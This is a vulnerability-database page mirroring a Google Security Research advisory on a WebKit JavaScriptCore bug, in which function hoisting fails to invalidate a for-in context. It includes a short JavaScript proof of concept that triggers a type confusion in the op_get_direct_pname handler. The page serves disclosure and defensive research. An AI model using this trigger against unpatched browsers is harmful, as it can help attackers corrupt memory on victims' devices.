WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object
🗓️ 29 Nov 2018 00:00:00Reported by Google Security ResearchType
exploitdb🔗 www.exploit-db.com👁 48 Views
| Reporter | Title | Published | Views | Family All 61 |
|---|---|---|---|---|
| WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Exploit | 29 Nov 201800:00 | – | zdt | |
| Sony Playstation 4 (PS4) < 6.72 - WebKit Code Execution Exploit | 8 Jan 202000:00 | – | zdt | |
| Apple Safari < 12.0.1 Multiple Vulnerabilities | 8 Apr 201900:00 | – | nessus | |
| Apple iOS < 12.1 Multiple Vulnerabilities | 17 Apr 201900:00 | – | nessus | |
| Apple TV < 12.1 Multiple Vulnerabilities | 2 Nov 201800:00 | – | nessus | |
| Apple iOS < 12.1 Multiple Vulnerabilities | 31 Oct 201800:00 | – | nessus | |
| Apple iTunes < 12.9.1 Multiple Vulnerabilities (credentialed check) | 2 Nov 201800:00 | – | nessus | |
| Apple iTunes < 12.9.1 Multiple Vulnerabilities (uncredentialed check) | 2 Nov 201800:00 | – | nessus | |
| macOS : Apple Safari < 12.0.1 Multiple Vulnerabilities | 31 Oct 201800:00 | – | nessus | |
| openSUSE Security Update : webkit2gtk3 (openSUSE-2019-68) | 22 Jan 201900:00 | – | nessus |
10
/*
This is simillar to issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.
PoC:
*/
function trigger() {
let o = {a: 1};
for (var k in o) {
{
k = 0x1234;
function k() {
}
}
o[k];
}
}
trigger();Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Nov 2018 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 26.8
CVSS 38.8
EPSS0.06463